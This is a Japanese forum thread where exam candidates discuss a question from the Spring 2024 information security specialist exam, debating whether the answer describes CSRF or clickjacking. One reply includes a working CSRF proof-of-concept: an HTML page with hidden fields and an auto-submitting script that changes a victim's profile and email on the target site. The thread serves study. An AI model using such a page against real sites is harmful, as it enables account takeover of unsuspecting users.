HOME»情報処理安全確保支援士掲示板»令和6年春期午後問3 設問2 (1)について
投稿する
プログラムの例と、クリックジャッキングではない根拠の提示ありがとうございます。
リンクを踏んだだけでPOSTで即時送信出来ることについて勉強になりました。
令和6年春期午後問3 設問2 (1)について [1677]
sakanaさん(No.1)
IPAの回答が「攻撃者が自らのアカウントで取得したcsrf_tokenと一緒に利用者情報をサイ ト X に送るように構成したわなフォームに，詐欺メールなどで利用者を誘導し，利用者情報を変更させる。」となっています。
このわなフォームとは利用者が入力するタイプのフォームではなく、hidden属性であらかじめ攻撃者の意図した値がセットされており、アクセスした瞬間に意図せずPOSTリクエストが送信されてしまうというイメージで間違いないでしょうか？
このわなフォームとは利用者が入力するタイプのフォームではなく、hidden属性であらかじめ攻撃者の意図した値がセットされており、アクセスした瞬間に意図せずPOSTリクエストが送信されてしまうというイメージで間違いないでしょうか？
2024.08.27 22:26
園田圓さん(No.2)
私は、クリックジャッキングを行っていると考えました。
クリックジャッキングは、本物のサイト(サイトX)のページフォームを透明にした状態で配置しており、
偽のフォームが見える状態で誘導した利用者に操作させ、ボタンを押すと、実際は透明なボタンが押され、攻撃者が用意した値が本物のサイト(サイトX)に送られるという仕様です。
なので、sakanaさんが考えられている、アクセスした瞬間に攻撃者が用意した値がPOSTされるわけではなく、利用者の操作があると思います。
クリックジャッキングは、本物のサイト(サイトX)のページフォームを透明にした状態で配置しており、
偽のフォームが見える状態で誘導した利用者に操作させ、ボタンを押すと、実際は透明なボタンが押され、攻撃者が用意した値が本物のサイト(サイトX)に送られるという仕様です。
なので、sakanaさんが考えられている、アクセスした瞬間に攻撃者が用意した値がPOSTされるわけではなく、利用者の操作があると思います。
2024.08.28 00:15
むぐむぐさん(No.3)
sakanaさんの認識で正しいです。
以下のようなページを用意すればこのページへのリンクを被害者へ踏ませるだけで、被害者のブラウザから任意のリクエストを送信させることが可能です。
サンプル:
<html>
<body>
<form action="https://サイトXのFQDN/shop/editmember" method="POST">
<input type="hidden" name="sei" value="任意の姓" />
<input type="hidden" name="mei" value="任意の名" />
<input type="hidden" name="mail" value="任意のメールアドレス" />
<input type="hidden" name="csrf_token" value="攻撃者が取得したトークン" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
クリックジャッキングに関しては、問題文中の脆弱性診断の結果から検出されていないので実行できないと思われます。
以下のようなページを用意すればこのページへのリンクを被害者へ踏ませるだけで、被害者のブラウザから任意のリクエストを送信させることが可能です。
サンプル:
<html>
<body>
<form action="https://サイトXのFQDN/shop/editmember" method="POST">
<input type="hidden" name="sei" value="任意の姓" />
<input type="hidden" name="mei" value="任意の名" />
<input type="hidden" name="mail" value="任意のメールアドレス" />
<input type="hidden" name="csrf_token" value="攻撃者が取得したトークン" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
クリックジャッキングに関しては、問題文中の脆弱性診断の結果から検出されていないので実行できないと思われます。
2024.08.28 10:16
shijiminさん(No.4)
この投稿は投稿者により削除されました。(2024.08.28 21:22)
2024.08.28 21:22
sakanaさん(No.5)
園田圓さん、むぐむぐさん回答していただきありがとうございます。
模範解答からはどのような攻撃方法なのかイメージしづらかったので、どのような攻撃方法が考えられるかも含めて非常に勉強になりました。
模範解答からはどのような攻撃方法なのかイメージしづらかったので、どのような攻撃方法が考えられるかも含めて非常に勉強になりました。
2024.08.28 21:24
園田圓さん(No.6)
> むぐむぐさん
プログラムの例と、クリックジャッキングではない根拠の提示ありがとうございます。
リンクを踏んだだけでPOSTで即時送信出来ることについて勉強になりました。
2024.08.28 22:29